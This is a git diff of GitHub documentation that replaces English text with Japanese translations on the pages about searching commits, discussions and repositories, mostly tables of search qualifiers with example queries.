+| <code>org:<em>ORGNAME</em></code> | [**test org:github**](https://github.com/search?utf8=%E2%9C%93&q=test+org%3Agithub&type=Commits) は、@github が保有するリポジトリの「test」という単語があるコミットメッセージにマッチします。                                                 |
+| <code>repo:<em>USERNAME/REPO</em></code> | [**language repo:defunkt/gibberish**](https://github.com/search?utf8=%E2%9C%93&q=language+repo%3Adefunkt%2Fgibberish&type=Commits) は、@defunkt の「gibberish」リポジトリにある「language」という単語があるコミットメッセージにマッチします。 |
 
-## Filter by repository visibility
+## リポジトリの可視性によるフィルタ
 
-The `is` qualifier matches commits from repositories with the specified visibility. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
+`is` 修飾子は、指定した可視性を持つリポジトリからのコミットにマッチします。 For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
 
-| Qualifier  | Example
-| ------------- | ------------- |
+| 修飾子 | サンプル |
+| --- | ---- |
+|     |      |
 {%- ifversion fpt or ghes or ghec %}
 | `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Commits) matches commits to public repositories.
 {%- endif %}
 {%- ifversion ghes or ghec or ghae %}
 | `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Commits) matches commits to internal repositories.
 {%- endif %}
-| `is:private` | [**is:private**](https://github.com/search?q=is%3Aprivate&type=Commits) matches commits to private repositories.
+| `is:private` | [**is:private**](https://github.com/search?q=is%3Aprivate&type=Commits) はプライベートリポジトリへのコミットに一致します。
 
-## Further reading
+## 参考リンク
 
-- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)"
+- 「[検索結果をソートする](/search-github/getting-started-with-searching-on-github/sorting-search-results/)」
diff --git a/translations/ja-JP/content/search-github/searching-on-github/searching-discussions.md b/translations/ja-JP/content/search-github/searching-on-github/searching-discussions.md
index dfd0e87b86..9ad2f61497 100644
--- a/translations/ja-JP/content/search-github/searching-on-github/searching-discussions.md
+++ b/translations/ja-JP/content/search-github/searching-on-github/searching-discussions.md
@@ -1,6 +1,6 @@
 ---
-title: Searching discussions
-intro: 'You can search for discussions on {% data variables.product.product_name %} and narrow the results using search qualifiers.'
+title: ディスカッションを検索する
+intro: '{% data variables.product.product_name %} 上のディスカッションを検索し、検索修飾子を使用して検索結果を絞り込むことができます。'
 versions:
   fpt: '*'
   ghec: '*'
@@ -11,108 +11,104 @@ redirect_from:
   - /github/searching-for-information-on-github/searching-on-github/searching-discussions
 ---
 
-## About searching for discussions
+## ディスカッションの検索について
 
-You can search for discussions globally across all of {% data variables.product.product_name %}, or search for discussions within a particular organization or repository. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/github/searching-for-information-on-github/about-searching-on-github)."
+{% data variables.product.product_name %} 全体にわたってグローバルにディスカッションを検索できます。あるいは、特定の Organization のみのディスカッションの検索もできます。 詳細は「[{% data variables.product.prodname_dotcom %} での検索について](/github/searching-for-information-on-github/about-searching-on-github)」を参照してください。
 
 {% data reusables.search.syntax_tips %}
 
-## Search by the title, body, or comments
+## タイトル、本文、またはコメントで検索
 
-With the `in` qualifier you can restrict your search for discussions to the title, body, or comments. You can also combine qualifiers to search a combination of title, body, or comments. When you omit the `in` qualifier, {% data variables.product.product_name %} searches the title, body, and comments.
+`in` 修飾子を使用すると、ディスカッションの検索をタイトル、本文、またはコメントに制限できます。 修飾子を組み合わせて、タイトル、本文、またはコメントの組み合わせを検索することもできます。 `in` 修飾子を省略すると、{% data variables.product.product_name %} はタイトル、本文、およびコメントを検索します。
 
-| Qualifier | Example |
-| :- | :- |
-| `in:title` | [**welcome in:title**](https://github.com/search?q=welcome+in%3Atitle&type=Discussions) matches discussions with "welcome" in the title. |
-| `in:body` | [**onboard in:title,body**](https://github.com/search?q=onboard+in%3Atitle%2Cbody&type=Discussions) matches discussions with "onboard" in the title or body. |
-| `in:comments` | [**thanks in:comments**](https://github.com/search?q=thanks+in%3Acomment&type=Discussions) matches discussions with "thanks" in the comments for the discussion. |
+| 修飾子           | サンプル                                                                                                                                     |
+|:------------- |:---------------------------------------------------------------------------------------------------------------------------------------- |
+| `in:title`    | [**welcome in:title**](https://github.com/search?q=welcome+in%3Atitle&type=Discussions) は、タイトルに「welcome」を含むディスカッションにマッチします。              |
+| `in:body`     | [**error in:title,body**](https://github.com/search?q=onboard+in%3Atitle%2Cbody&type=Discussions) は、タイトルか本文に「onboard」を含むディスカッションにマッチします。 |
+| `in:comments` | [**welcome in:title**](https://github.com/search?q=thanks+in%3Acomment&type=Discussions) は、ディスカッションのコメントに「thanks」を含むディスカッションにマッチします。     |
 
-## Search within a user's or organization's repositories
+## ユーザまたは Organization のリポジトリ内の検索
 
-To search discussions in all repositories owned by a certain user or organization, you can use the  `user` or `org` qualifier. To search discussions in a specific repository, you can use the `repo` qualifier.
+特定のユーザまたは Organization のすべてのリポジトリのディスカッションを検索するには、`user` 修飾子または `org` 修飾子を使います。 特定のリポジトリのディスカッションを検索するには、`repo` 修飾子を使います。
 
-| Qualifier | Example |
-| :- | :- |
-| <code>user:<em>USERNAME</em></code> | [**user:octocat feedback**](https://github.com/search?q=user%3Aoctocat+feedback&type=Discussions) matches discussions with the word "feedback" from repositories owned by @octocat. |
-| <code>org:<em>ORGNAME</em></code> | [**org:github**](https://github.com/search?q=org%3Agithub&type=Discussions&utf8=%E2%9C%93) matches discussions in repositories owned by the GitHub organization. |
-| <code>repo:<em>USERNAME/REPOSITORY</em></code> | [**repo:nodejs/node created:<2021-01-01**](https://github.com/search?q=repo%3Anodejs%2Fnode+created%3A%3C2020-01-01&type=Discussions) matches discussions from @nodejs' Node.js runtime project that were created before January 2021. |
+| 修飾子                       | サンプル                                                                                                                                                                                                    |
+|:------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>user:<em>USERNAME</em></code> | [**user:octocat feedback**](https://github.com/search?q=user%3Aoctocat+feedback&type=Discussions) @octocat が所有するリポジトリからの「feedback」という単語を含むディスカッションにマッチします。                                              |
+| <code>org:<em>ORGNAME</em></code> | [**org:github**](https://github.com/search?q=org%3Agithub&type=Discussions&utf8=%E2%9C%93) は、GitHub Organization が保有するリポジトリのディスカッションにマッチします。                                                            |
+| <code>repo:<em>USERNAME/REPOSITORY</em></code> | [**repo:nodejs/node created:<2021-01-01**](https://github.com/search?q=repo%3Anodejs%2Fnode+created%3A%3C2020-01-01&type=Discussions) は、2021年1月以前に作成された@nodejs の Node.js ランタイムプロジェクトからのディスカッションにマッチします。 |
 
-## Filter by repository visibility
+## リポジトリの可視性によるフィルタ
 
-You can filter by the visibility of the repository containing the discussions using the `is` qualifier. For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
+`is` 修飾子を使用して、ディスカッションを含むリポジトリの可視性でフィルタできます。 For more information, see "[About repositories](/repositories/creating-and-managing-repositories/about-repositories#about-repository-visibility)."
 
-| Qualifier  | Example
-| :- | :- |{% ifversion fpt or ghes or ghec %}
-| `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Discussions) matches discussions in public repositories.{% endif %}{% ifversion ghec %}
-| `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Discussions) matches discussions in internal repositories.{% endif %}
-| `is:private` | [**is:private tiramisu**](https://github.com/search?q=is%3Aprivate+tiramisu&type=Discussions) matches discussions that contain the word "tiramisu" in private repositories you can access.
+| Qualifier  | Example | :- | :- |{% ifversion fpt or ghes or ghec %} | `is:public` | [**is:public**](https://github.com/search?q=is%3Apublic&type=Discussions) matches discussions in public repositories.{% endif %}{% ifversion ghec %} | `is:internal` | [**is:internal**](https://github.com/search?q=is%3Ainternal&type=Discussions) matches discussions in internal repositories.{% endif %} | `is:private` | [**is:private tiramisu**](https://github.com/search?q=is%3Aprivate+tiramisu&type=Discussions) matches discussions that contain the word "tiramisu" in private repositories you can access.
 
-## Search by author
+## 作者で検索
 
-The `author` qualifier finds discussions created by a certain user.
+`author` 修飾子は、特定のユーザが作成したディスカッションを表示します。
 
-| Qualifier | Example |
-| :- | :- |
-| <code>author:<em>USERNAME</em></code> | [**cool author:octocat**](https://github.com/search?q=cool+author%3Aoctocat&type=Discussions) matches discussions with the word "cool" that were created by @octocat. |
-| | [**bootstrap in:body author:octocat**](https://github.com/search?q=bootstrap+in%3Abody+author%3Aoctocat&type=Discussions) matches discussions created by @octocat that contain the word "bootstrap" in the body. |
+| 修飾子                       | サンプル                                                                                                                                                                          |
+|:------------------------- |:----------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>author:<em>USERNAME</em></code> | [**cool author:gjtorikian**](https://github.com/search?q=cool+author%3Aoctocat&type=Discussions) は、@octocat が作成した「cool」という単語を含むディスカッションにマッチします。                               |
+|                           | [**bootstrap in:body author:octocat**](https://github.com/search?q=bootstrap+in%3Abody+author%3Aoctocat&type=Discussions) は、@octocat が作成した「bootstrap」という単語を含むディスカッションにマッチします。 |
 
-## Search by commenter
+## コメントした人で検索
 
-The `commenter` qualifier finds discussions that contain a comment from a certain user.
+`commenter` 修飾子は、特定のユーザからのコメントを含むディスカッションを検索します。
 
-| Qualifier | Example |
-| :- | :- |
-| <code>commenter:<em>USERNAME</em></code> | [**github commenter:becca org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Abecca+org%3Agithub&type=Discussions) matches discussions in repositories owned by GitHub, that contain the word "github," and have a comment by @becca.
+| 修飾子                       | サンプル                                                                                                                                                                                                            |
+|:------------------------- |:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>commenter:<em>USERNAME</em></code> | [**github commenter:becca org:github**](https://github.com/search?utf8=%E2%9C%93&q=github+commenter%3Abecca+org%3Agithub&type=Discussions) は、@beccaのコメントがあり、「github」という単語がある、GitHub が所有するリポジトリのディスカッションにマッチします。 |
 
-## Search by a user that's involved in a discussion
+## ディスカッションに関与しているユーザで検索
 
-You can use the `involves` qualifier to find discussions that involve a certain user. The qualifier returns discussions that were either created by a certain user, mention the user, or contain comments by the user. The `involves` qualifier is a logical OR between the `author`, `mentions`, and `commenter` qualifiers for a single user.
+`involves` 修飾子では、特定のユーザが関与するディスカッションを表示します。 修飾子は、特定のユーザが作成したディスカッション、特定のユーザをメンションしたディスカッション、特定のユーザによるコメントを含むディスカッションを返します。 `involves` 修飾子は、単一ユーザについて、`author`、`mentions`、および `commenter` を論理 OR でつなげます。
 
-| Qualifier | Example |
-| :- | :- |
-| <code>involves:<em>USERNAME</em></code> | **[involves:becca involves:octocat](https://github.com/search?q=involves%3Abecca+involves%3Aoctocat&type=Discussions)** matches discussions either @becca or @octocat are involved in.
-| | [**NOT beta in:body involves:becca**](https://github.com/search?q=NOT+beta+in%3Abody+involves%3Abecca&type=Discussions) matches discussions @becca is involved in that do not contain the word "beta" in the body.
+| 修飾子                       | サンプル                                                                                                                                                                        |
+|:------------------------- |:--------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>involves:<em>USERNAME</em></code> | **[involves:becca involves:octocat](https://github.com/search?q=involves%3Abecca+involves%3Aoctocat&type=Discussions)** は、@becca または @octocat が関与しているディスカッションにマッチします。       |
+|                           | [**NOT beta in:body involves:becca**](https://github.com/search?q=NOT+beta+in%3Abody+involves%3Abecca&type=Discussions) は、本文に「beta」という単語を含まず、@becca が関与しているディスカッションにマッチします。 |
 
-## Search by number of comments
+## コメントの数で検索
 
-You can use the `comments` qualifier along with greater than, less than, and range qualifiers to search by the number of comments. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+コメント数で検索するには、不等号や範囲の修飾子とともに `comments` 修飾子を使います。 詳しい情報については、「[検索構文を理解する](/github/searching-for-information-on-github/understanding-the-search-syntax)」を参照してください。
 
-| Qualifier | Example |
-| :- | :- |
-| <code>comments:<em>n</em></code> | [**comments:&gt;100**](https://github.com/search?q=comments%3A%3E100&type=Discussions) matches discussions with more than 100 comments.
-| | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Discussions) matches discussions with comments ranging from 500 to 1,000.
+| 修飾子                       | サンプル                                                                                                                                   |
+|:------------------------- |:-------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>comments:<em>n</em></code> | [**comments:&gt;100**](https://github.com/search?q=comments%3A%3E100&type=Discussions) は、コメント数が 100 を超えるクローズしたディスカッションにマッチします。   |
+|                           | [**comments:500..1000**](https://github.com/search?q=comments%3A500..1000&type=Discussions)は、500 から 1,000 までの範囲のコメント数のディスカッションにマッチします。 |
 
-## Search by number of interactions
+## インタラクションの数で検索
 
-You can filter discussions by the number of interactions with the `interactions` qualifier along with greater than, less than, and range qualifiers. The interactions count is the number of reactions and comments on a discussion. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+`interactions` 修飾子を使用したインタラクションの数と、不等号や範囲の修飾子によってディスカッションをフィルタできます。 インタラクションの数は、ディスカッションに対するリアクションとコメントの数のことです。 詳しい情報については、「[検索構文を理解する](/github/searching-for-information-on-github/understanding-the-search-syntax)」を参照してください。
 
-| Qualifier | Example |
-| :- | :- |
-| <code>interactions:<em>n</em></code> | [** interactions:&gt;2000**](https://github.com/search?q=interactions%3A%3E2000) matches discussions with more than 2,000 interactions.
-| | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) matches discussions with interactions ranging from 500 to 1,000.
+| 修飾子                       | サンプル                                                                                                                                |
+|:------------------------- |:----------------------------------------------------------------------------------------------------------------------------------- |
+| <code>interactions:<em>n</em></code> | [** interactions:&gt;2000**](https://github.com/search?q=interactions%3A%3E2000) は、インタラクションの数が 2,000 以上あるディスカッションにマッチします。 |
+|                           | [**interactions:500..1000**](https://github.com/search?q=interactions%3A500..1000) は、500～1,000 の範囲のインタラクションとのディスカッションにマッチします。       |
 
-## Search by number of reactions
+## リアクションの数で検索
 
-You can filter discussions by the number of reactions using the `reactions` qualifier along with greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+不等号や範囲の修飾子と一緒に `reactions` 修飾子を使用して、リアクションの数でディスカッションをフィルタすることができます。 詳しい情報については、「[検索構文を理解する](/github/searching-for-information-on-github/understanding-the-search-syntax)」を参照してください。
 
-| Qualifier | Example |
-| :- | :- |
-| <code>reactions:<em>n</em></code> | [** reactions:&gt;1000**](https://github.com/search?q=reactions%3A%3E500) matches discussions with more than 500 reactions.
-| | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) matches discussions with reactions ranging from 500 to 1,000.
+| 修飾子                       | サンプル                                                                                                                     |
+|:------------------------- |:------------------------------------------------------------------------------------------------------------------------ |
+| <code>reactions:<em>n</em></code> | [** reactions:&gt;1000**](https://github.com/search?q=reactions%3A%3E500) は、リアクションの数が 500 以上あるディスカッションにマッチします。 |
+|                           | [**reactions:500..1000**](https://github.com/search?q=reactions%3A500..1000) は、リアクションの数が 500～1,000 の範囲のディスカッションにマッチします。  |
 
-## Search by when a discussion was created or last updated
+## ディスカッションの作成時期または最終更新時期で検索
 
-You can filter discussions based on times of creation, or when the discussion was last updated. For discussion creation, you can use the `created` qualifier; to find out when an discussion was last updated, use the `updated` qualifier.
+作成時期または最終更新時期でディスカッションをフィルタできます。 ディスカッションの作成時期については、`created` の修飾子を使います。ディスカッションの最終更新時期で表示するには、`updated` の修飾子を使います。
 
-Both qualifiers take a date as a parameter. {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
+両方の修飾子は、パラメータとして日付を使います。 {% data reusables.time_date.date_format %} {% data reusables.time_date.time_format %}
 
 {% data reusables.search.date_gt_lt %}
 
-| Qualifier | Example |
-| :- | :- |
-| <code>created:<em>YYYY-MM-DD</em></code> | [**created:>2020-11-15**](https://github.com/search?q=created%3A%3E%3D2020-11-15&type=discussions) matches discussions that were created after November 15, 2020.
-| <code>updated:<em>YYYY-MM-DD</em></code> | [**weird in:body updated:>=2020-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2020-12-01&type=Discussions) matches discussions with the word "weird" in the body that were updated after December 2020.
+| 修飾子                        | サンプル                                                                                                                                                                                       |
+|:-------------------------- |:------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code>created:<em>YYYY-MM-DD</em></code>  | [**created:>2020-11-15**](https://github.com/search?q=created%3A%3E%3D2020-11-15&type=discussions) は、2020 年 11 月 15 日以降に作成されたディスカッションにマッチします。                                              |
+| <code>updated:<em>YYYY-MM-DD</em></code> | [**weird in:body updated:>=2020-02-01**](https://github.com/search?q=weird+in%3Abody+updated%3A%3E%3D2020-12-01&type=Discussions) は、2020 年 12 月以降に更新された、本文に「weird」という単語を含むディスカッションにマッチします。 |
 
-## Further reading
+## 参考リンク
 
-- "[Sorting search results](/search-github/getting-started-with-searching-on-github/sorting-search-results/)"
+- 「[検索結果をソートする](/search-github/getting-started-with-searching-on-github/sorting-search-results/)」
diff --git a/translations/ja-JP/content/search-github/searching-on-github/searching-for-repositories.md b/translations/ja-JP/content/search-github/searching-on-github/searching-for-repositories.md
index f12649f07a..1118dd8ef7 100644
--- a/translations/ja-JP/content/search-github/searching-on-github/searching-for-repositories.md
+++ b/translations/ja-JP/content/search-github/searching-on-github/searching-for-repositories.md
@@ -1,6 +1,6 @@
 ---
-title: Searching for repositories
-intro: 'You can search for repositories on {% data variables.product.product_name %} and narrow the results using these repository search qualifiers in any combination.'
+title: リポジトリを検索する
+intro: '{% data variables.product.product_name %} 上のリポジトリを検索することができます。そして、これらのリポジトリを検索する修飾子を組み合わせることで、検索結果を絞ることができます。'
 redirect_from:
   - /articles/searching-repositories
   - /articles/searching-for-repositories
@@ -15,191 +15,188 @@ topics:
   - GitHub search
 shortTitle: Search for repositories
 ---
-You can search for repositories globally across all of {% data variables.product.product_location %}, or search for repositories within a particular organization. For more information, see "[About searching on {% data variables.product.prodname_dotcom %}](/search-github/getting-started-with-searching-on-github/about-searching-on-github)."
 
-To include forks in the search results, you will need to add `fork:true` or `fork:only` to your query. For more information, see "[Searching in forks](/search-github/searching-on-github/searching-in-forks)."
+{% data variables.product.product_location %} 全体にわたってグローバルにリポジトリを検索できます。あるいは、特定の Organization のみのリポジトリの検索もできます。 詳細は「[{% data variables.product.prodname_dotcom %} での検索について](/search-github/getting-started-with-searching-on-github/about-searching-on-github)」を参照してください。
+
+フォークを検索結果に含めるためには、クエリに `fork:true` または `fork:only` を追加する必要があります。 詳細は「[フォーク内で検索する](/search-github/searching-on-github/searching-in-forks)」を参照してください。
 
 {% data reusables.search.syntax_tips %}
 
-## Search by repository name, description, or contents of the README file
+## リポジトリ名、説明、または README ファイルの内容で検索
 
-With the `in` qualifier you can restrict your search to the repository name, repository description, contents of the README file, or any combination of these. When you omit this qualifier, only the repository name and description are searched.
+`in` 修飾子によって、リポジトリ名、リポジトリの説明、README ファイルの内容や、これらの組み合わせに限定した検索ができます。 この修飾子を省略した場合、リポジトリ名および説明だけが検索されます。
 
-| Qualifier  | Example
-| ------------- | -------------
-| `in:name` | [**jquery in:name**](https://github.com/search?q=jquery+in%3Aname&type=Repositories) matches repositories with "jquery" in the repository name.
-| `in:description`  | [**jquery in:name,description**](https://github.com/search?q=jquery+in%3Aname%2Cdescription&type=Repositories) matches repositories with "jquery" in the repository name or description.
-| `in:readme` | [**jquery in:readme**](https://github.com/search?q=jquery+in%3Areadme&type=Repositories) matches repositories mentioning "jquery" in the repository's README file.
-| `repo:owner/name` | [**repo:octocat/hello-world**](https://github.com/search?q=repo%3Aoctocat%2Fhello-world) matches a specific repository name.
+| 修飾子               | サンプル                                                                                                                                                    |
+| ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| `in:name`         | [**jquery in:name**](https://github.com/search?q=jquery+in%3Aname&type=Repositories) は、リポジトリ名に「jquery」が含まれるリポジトリにマッチします。                                |
+| `in:description`  | [**jquery in:name,description**](https://github.com/search?q=jquery+in%3Aname%2Cdescription&type=Repositories) は、リポジトリ名または説明に「jquery」が含まれるリポジトリにマッチします。 |
+| `in:readme`       | [**jquery in:readme**](https://github.com/search?q=jquery+in%3Areadme&type=Repositories) は、リポジトリの README ファイルで「jquery」をメンションしているリポジトリにマッチします。           |
+| `repo:owner/name` | [**repo:octocat/hello-world**](https://github.com/search?q=repo%3Aoctocat%2Fhello-world) は、特定のリポジトリ名にマッチします。                                            |
 
-## Search based on the contents of a repository
+## リポジトリの内容で検索
 
-You can find a repository by searching for content in the repository's README file using the `in:readme` qualifier. For more information, see "[About READMEs](/github/creating-cloning-and-archiving-repositories/about-readmes)."
+`in:readme` 修飾子を使用すると、リポジトリの README ファイルの内容に基づいてリポジトリを検索できます。 詳細は「[README について](/github/creating-cloning-and-archiving-repositories/about-readmes)」を参照してください。
 
-Besides using `in:readme`, it's not possible to find repositories by searching for specific content within the repository. To search for a specific file or content within a repository, you can use the file finder or code-specific search qualifiers. For more information, see "[Finding files on {% data variables.product.prodname_dotcom %}](/search-github/searching-on-github/finding-files-on-github)" and "[Searching code](/search-github/searching-on-github/searching-code)."
+`in:readme` は、特定の内容に基づいてリポジトリを検索する唯一の方法です。 リポジトリ内の特定のファイルや内容を検索するには、ファイルファインダー、またはコード固有の検索修飾子を使います。 詳細は「[ {% data variables.product.prodname_dotcom %}でファイルを検索する](/search-github/searching-on-github/finding-files-on-github)」および「[コードの検索](/search-github/searching-on-github/searching-code)」を参照してください。
 
-| Qualifier  | Example
-| ------------- | -------------
-| `in:readme` | [**octocat in:readme**](https://github.com/search?q=octocat+in%3Areadme&type=Repositories) matches repositories mentioning "octocat" in the repository's README file.
+| 修飾子         | サンプル                                                                                                                                             |
+| ----------- | ------------------------------------------------------------------------------------------------------------------------------------------------ |
+| `in:readme` | [**octocat in:readme**](https://github.com/search?q=octocat+in%3Areadme&type=Repositories) は、リポジトリの README ファイルで「octocat」をメンションしているリポジトリにマッチします。 |
 
-## Search within a user's or organization's repositories
+## ユーザまたは Organization のリポジトリ内の検索
 
-To search in all repositories owned by a certain user or organization, you can use the  `user` or `org` qualifier.
+特定のユーザまたは Organization のすべてのリポジトリで検索するには、`user` 修飾子または `org` 修飾子を使います。
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>user:<em>USERNAME</em></code> | [**user:defunkt forks:&gt;100**](https://github.com/search?q=user%3Adefunkt+forks%3A%3E%3D100&type=Repositories) matches repositories from @defunkt that have more than 100 forks.
-| <code>org:<em>ORGNAME</em></code> | [**org:github**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub&type=Repositories) matches repositories from GitHub.
+| 修飾子                       | サンプル                                                                                                                                                               |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
+| <code>user:<em>USERNAME</em></code> | [**user:defunkt forks:&gt;100**](https://github.com/search?q=user%3Adefunkt+forks%3A%3E%3D100&type=Repositories) は、フォーク数が 100 より多い @defunkt からのリポジトリにマッチします。 |
+| <code>org:<em>ORGNAME</em></code> | [**org:github**](https://github.com/search?utf8=%E2%9C%93&q=org%3Agithub&type=Repositories) は、GitHub からのリポジトリにマッチします。                                              |
 
-## Search by repository size
+## リポジトリのサイズで検索
 
-The `size` qualifier finds repositories that match a certain size (in kilobytes), using greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+`size` 修飾子は、不等号や範囲の修飾子を使うことで、特定のサイズ (キロバイト) に合致するリポジトリを表示します。 詳しい情報については、「[検索構文を理解する](/github/searching-for-information-on-github/understanding-the-search-syntax)」を参照してください。
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>size:<em>n</em></code> | [**size:1000**](https://github.com/search?q=size%3A1000&type=Repositories) matches repositories that are 1 MB exactly.
-| | [**size:&gt;=30000**](https://github.com/search?q=size%3A%3E%3D30000&type=Repositories) matches repositories that are at least 30 MB.
-| | [**size:&lt;50**](https://github.com/search?q=size%3A%3C50&type=Repositories) matches repositories that are smaller than 50 KB.
-| | [**size:50..120**](https://github.com/search?q=size%3A50..120&type=Repositories) matches repositories that are between 50 KB and 120 KB.
+| 修飾子                       | サンプル                                                                                                                   |
+| ------------------------- | ---------------------------------------------------------------------------------------------------------------------- |
+| <code>size:<em>n</em></code> | [**size:1000**](https://github.com/search?q=size%3A1000&type=Repositories) は、ちょうど 1 MB のリポジトリにマッチします。                  |
+|                           | [**size:&gt;=30000**](https://github.com/search?q=size%3A%3E%3D30000&type=Repositories) は、30 MB 以上のリポジトリにマッチします。 |
+|                           | [**size:&lt;50**](https://github.com/search?q=size%3A%3C50&type=Repositories) は、50 KB 未満のリポジトリにマッチします。           |
+|                           | [**size:50..120**](https://github.com/search?q=size%3A50..120&type=Repositories) は、50 KB から 120 KB までのリポジトリにマッチします。    |
 
-## Search by number of followers
+## フォロワーの数の検索
 
-You can filter repositories based on the number of users who follow the repositories, using the `followers` qualifier with greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+`followers` 修飾子と、不等号や範囲の修飾子を使用すると、リポジトリをフォローしているユーザーの数に基づいてリポジトリをフィルタリングできます。 詳しい情報については、「[検索構文を理解する](/github/searching-for-information-on-github/understanding-the-search-syntax)」を参照してください。
 
-| Qualifier        | Example
-| ------------- | -------------
-| <code>followers:<em>n</em></code> | [**node followers:>=10000**](https://github.com/search?q=node+followers%3A%3E%3D10000) matches repositories with 10,000 or more followers mentioning the word "node".
-| | [**styleguide linter followers:1..10**](https://github.com/search?q=styleguide+linter+followers%3A1..10&type=Repositories) matches repositories with between 1 and 10 followers, mentioning the word "styleguide linter."
+| 修飾子                       | サンプル                                                                                                                                                                                              |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>followers:<em>n</em></code> | [**node followers:>=10000**](https://github.com/search?q=node+followers%3A%3E%3D10000) は、「node」という単語にメンションしている、10,000 人以上のフォロワーがいるリポジトリにマッチします。                                                   |
+|                           | [**styleguide linter followers:1..10**](https://github.com/search?q=styleguide+linter+followers%3A1..10&type=Repositories) は、「styleguide linter」という単語にメンションしている、フォロアーが 1 人から 10 人までのリポジトリにマッチします。 |
 
-## Search by number of forks
+## フォークの数で検索
 
-The `forks` qualifier specifies the number of forks a repository should have, using greater than, less than, and range qualifiers. For more information, see "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+`forks` 修飾子は、不等号や範囲の修飾子を使って、リポジトリが持つべきフォークの数を指定します。 詳しい情報については、「[検索構文を理解する](/github/searching-for-information-on-github/understanding-the-search-syntax)」を参照してください。
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>forks:<em>n</em></code> | [**forks:5**](https://github.com/search?q=forks%3A5&type=Repositories) matches repositories with only five forks.
-| | [**forks:&gt;=205**](https://github.com/search?q=forks%3A%3E%3D205&type=Repositories) matches repositories with at least 205 forks.
-| | [**forks:&lt;90**](https://github.com/search?q=forks%3A%3C90&type=Repositories) matches repositories with fewer than 90 forks.
-| | [**forks:10..20**](https://github.com/search?q=forks%3A10..20&type=Repositories) matches repositories with 10 to 20 forks.
+| 修飾子                       | サンプル                                                                                                                      |
+| ------------------------- | ------------------------------------------------------------------------------------------------------------------------- |
+| <code>forks:<em>n</em></code> | [**forks:5**](https://github.com/search?q=forks%3A5&type=Repositories) は、フォーク数が 5 のリポジトリだけにマッチします。                        |
+|                           | [**forks:&gt;=205**](https://github.com/search?q=forks%3A%3E%3D205&type=Repositories) は、フォーク数が 205 以上のリポジトリにマッチします。 |
+|                           | [**forks:&lt;90**](https://github.com/search?q=forks%3A%3C90&type=Repositories) は、フォーク数が 90 未満のリポジトリにマッチします。        |
+|                           | [**forks:10..20**](https://github.com/search?q=forks%3A10..20&type=Repositories) は、フォーク数が 10 から 20 までのリポジトリにマッチします。       |
 
-## Search by number of stars
+## Star の数で検索
 
-You can search repositories based on the number of stars the repositories have, using greater than, less than, and range qualifiers. For more information, see "[Saving repositories with stars](/github/getting-started-with-github/saving-repositories-with-stars)" and "[Understanding the search syntax](/github/searching-for-information-on-github/understanding-the-search-syntax)."
+不等号や範囲の修飾子を使って、リポジトリの Star の数でリポジトリを検索できます。 詳しい情報については「[Star を付けてリポジトリを保存する](/github/getting-started-with-github/saving-repositories-with-stars)」および「[検索構文を理解する](/github/searching-for-information-on-github/understanding-the-search-syntax)」を参照してください。
 
-| Qualifier  | Example
-| ------------- | -------------
-| <code>stars:<em>n</em></code> | [**stars:500**](https://github.com/search?utf8=%E2%9C%93&q=stars%3A500&type=Repositories) matches repositories with exactly 500 stars.
-| | [**stars:10..20**](https://github.com/search?q=stars%3A10..20+size%3A%3C1000&type=Repositories) matches repositories 10 to 20 stars, that are smaller than 1000 KB.
-| | [**stars:&gt;=500 fork:true language:php**](https://github.com/search?q=stars%3A%3E%3D500+fork%3Atrue+language%3Aphp&type=Repositories) matches repositories with the at least 500 stars, including forked ones, that are written in PHP.
+| 修飾子                       | サンプル                                                                                                                                                                                               |
+| ------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| <code>stars:<em>n</em></code> | [**stars:500**](https://github.com/search?utf8=%E2%9C%93&q=stars%3A500&type=Repositories) は、Star がちょうど 500 のリポジトリにマッチします。                                                                          |
+|                           | [**stars:10..20**](https://github.com/search?q=stars%3A10..20+size%3A%3C1000&type=Repositories) は、1000 KB 未満で、Star が 10 から 20 のリポジトリにマッチします。                                                       |
+|                           | [**stars:&gt;=500 fork:true language:php**](https://github.com/search?q=stars%3A%3E%3D500+fork%3Atrue+language%3Aphp&type=Repositories) は、PHP 形式のフォークされたリポジトリを含め Star が 500 以上のリポジトリにマッチします。 |
 
